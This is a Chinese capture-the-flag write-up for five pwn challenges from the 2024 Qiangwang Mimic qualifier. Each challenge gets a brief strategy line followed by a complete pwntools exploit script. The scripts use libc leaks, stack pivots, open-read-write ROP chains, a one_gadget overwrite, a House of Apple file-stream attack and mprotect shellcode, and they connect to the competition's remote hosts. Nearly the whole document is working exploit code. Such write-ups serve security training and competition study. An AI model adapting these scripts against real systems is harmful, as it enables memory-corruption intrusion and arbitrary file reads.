2024强网拟态初赛pwn方向wp


题目:https://github.com/0xviol1t/CTF-challenges/tree/main/2024/%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81/pwn

signin

覆盖种子为0之后进行伪随机数绕过,栈迁移到堆上进行orw

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
    r = remote("pwn-4a001b90aa.challenge.xctf.org.cn", 9999, ssl=True)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000401893
heap = 0x4040E0
start = 0x4011B0
c_libc = cdll.LoadLibrary('./libc.so.6')
libc = ELF('./libc.so.6')

def add(index, heapCtx, buf):
    r.sendafter(b'>>', p32(0x1))
    r.sendafter(b'Index: ', p32(index))
    r.sendafter(b'Note: ', heapCtx)
    r.send(buf)

def delete(index):
    r.sendafter(b'>>', p32(0x2))
    r.sendafter(b'Index: ', p32(index))

def auth():
    seed = 0
    c_libc.srand(seed)

    p = b'\x00' * 0x12
    r.send(p)

    for i in range(100):
        num = c_libc.rand() % 100 + 1
        r.sendafter(b'code', p64(num))

def show(ptr):
    p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(ptr) + p64(puts_plt) + p64(start)
    add(0, b'a', p)

auth()
show(puts_got)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']

auth()
add(1, b'a', b'a')
show(heap + 0x8)

r.recvuntil(b'\n')
heap_addr = u64(r.recvuntil('\n')[:-1][-4:].ljust(8, b'\x00'))

auth()
libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0] + libc_base
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0] + libc_base
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0] + libc_base
rdx = libc_rop.find_gadget(['pop rdx','ret'])[0] + libc_base
syscall = libc_rop.find_gadget(['syscall','ret'])[0] + libc_base
leave_ret = 0x00000000004013be
ret = 0x000000000040101a
flag = heap_addr + 0x220 + 0x88 + 0x10 + 0x10
code = 0x404e00

orw_rop = p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx) + p64(0) + p64(libc.sym['openat'] + libc_base)
orw_rop += p64(rdi) + p64(3) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['read'] + libc_base)
orw_rop += p64(rdi) + p64(1) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['write'] + libc_base)
orw_rop += b'/flag'.ljust(0x8,b'\x00')

add(1, orw_rop, b'a')

p = b'a' * 0x100 + p64(heap_addr + 0x220 - 0x8) + p64(leave_ret)
add(0, b'a', p)

r.interactive()

signin_revenge

泄露libc地址之后通过environ泄露栈地址,栈迁移到栈前面部分

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote("pwn-9c32d4cdb8.challenge.xctf.org.cn", 9999, ssl=True)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000401393
start = 0x4010B0
libc = ELF('./libc.so.6')

p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
r.sendlineafter(b'pwn', p)

libc_base = get_libc() - libc.sym['puts']
environ = libc.sym['environ'] + libc_base

p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(environ) + p64(puts_plt) + p64(start)
r.sendlineafter(b'pwn', p)

stack_addr = get_libc() - 0x3b8

libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0] + libc_base
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0] + libc_base
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0] + libc_base
rdx = libc_rop.find_gadget(['pop rdx','ret'])[0] + libc_base
syscall = libc_rop.find_gadget(['syscall','ret'])[0] + libc_base
leave_ret = 0x00000000004012be
ret = 0x000000000040101a
flag = stack_addr + 0x88 + 0x10 + 0x10
code = 0x404500

orw_rop = p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx) + p64(0) + p64(libc.sym['openat'] + libc_base)
orw_rop += p64(rdi) + p64(3) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['read'] + libc_base)
orw_rop += p64(rdi) + p64(1) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['write'] + libc_base)
orw_rop += b'/flag'.ljust(0x8,b'\x00')

p = orw_rop.ljust(0x100, b'\x00') + p64(stack_addr - 0x8) + p64(leave_ret)
r.sendlineafter(b'pwn', p)

r.interactive()

QWEN

当输入的位置越界之后会调用a1,所以先赢了游戏之后覆盖a1backdoor,可以有限制的读文件,读/proc/self/maps泄露libc地址之后打ogg,直接打会失败,先返回到main重新运行再打ogg平衡栈,远程用pwn2压缩flag直接cat拿到flag

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'
context.terminal = ['tmux','splitw','-h']

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 0
if debug:
    r = remote("pwn-c9c758156e.challenge.xctf.org.cn", 9999, ssl=True)
else:
    r = process(file_name)

def dbg():
    gdb.attach(r)

def game(p):
    r.sendline('0 0')
    r.sendline('0 1')
    r.sendline('0 2')
    r.sendline('0 3')
    r.sendline('0 4')

    r.sendafter('say?', p)
    r.sendlineafter('game', 'N')
    r.sendline('15 15')

bd = 0x1508
p1 = b'a' * 0x8 + p16(bd)
game(p1)

r.sendlineafter('key', str(0x6b8b4567))
r.sendlineafter(b'logged', b'/proc/self/maps')

for i in range(3):
    r.recvuntil(b'\n')
code_base = int(r.recv(12), 16)
start = code_base + 0x9E0
main_addr = code_base + 0x17B3

for i in range(3):
    r.recvuntil(b'\n')
libc_base = int(r.recv(12), 16)
libc = ELF('./2.27/libc.so.6')
ogg = 0x10a2fc + libc_base

p1 = p64(main_addr) * 6
game(p1)

p1 = b'\x00' * 0x8 + p64(ogg) + p64(0) * 4
game(p1)

r.interactive()

guest book

直接套large binhosue of apple

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote("pwn-f29b87ed3e.challenge.xctf.org.cn", 9999, ssl=True)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(index, size):
    r.sendlineafter(b'>', b'1')
    r.sendlineafter(b'index', str(index))
    r.sendlineafter(b'size', str(size))

def edit(index, content):
    r.sendlineafter(b'>', b'2')
    r.sendlineafter(b'index', str(index))
    r.sendlineafter(b'content', content)

def delete(index):
    r.sendlineafter(b'>', b'3')
    r.sendlineafter(b'index', str(index))

def show(index):
    r.sendlineafter(b'>', b'4')
    r.sendlineafter(b'index', str(index))

def exit():
    r.sendlineafter(b'>', b'5')

add(0, 0x540)
add(1, 0x520)
add(2, 0x530)
delete(0)

libc = ELF('./2.35/libc.so.6')
show(0)

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0

add(3, 0x550)
edit(0, b'a' * 0x17)
show(0)
r.recvuntil(b'a' * 0x17 + b'\n')
heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x290

_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
leave_ret = 0x0000000000114723 + libc_base
one = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
one_gadget = one[1] + libc_base

delete(2)
p1 = p64(0) + p64(leave_ret) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20)
edit(0, p1)

add(4, 0x550)
heap_addr = heap_base + 0x550 + 0x530 + 0x290
setcontext = libc_base + libc.sym['setcontext'] + 61
target_addr = heap_base + 0x550 + 0x530 + 0x290

p2 = b'\x00'
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(one_gadget)
edit(2, p2)

exit()

r.interactive()

ezcode

json构造一次mprotectread

from pwn import *
import json

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote("pwn-ff73d874f7.challenge.xctf.org.cn", 9999, ssl=True)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

'''
mov ax, 10
shl edi, 12
mov dx, 0x7
syscall
'''
shellcode = b'66 b8 0a 00 c1 e7 0c 66 ba 07 00 0f 05'
'''
cdq
mov esi, edi
xor eax, eax
xor edi, edi
syscall
'''
shellcode += b'99 89 fe 31 c0 31 ff 0f 05 '
shellcode = shellcode.replace(b" ", b"").ljust(0x2b, b'a')
li(hex(len(shellcode)))

data = {
    "shellcode": shellcode.decode('utf-8')
}
json_string = json.dumps(data)

r.sendlineafter(b'input', json_string)

shellcode_orw = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
r.sendline(b'\x90'*0xff+asm("shl rsp, 12; add rsp, 0x500;")+shellcode_orw)

r.interactive()

  目录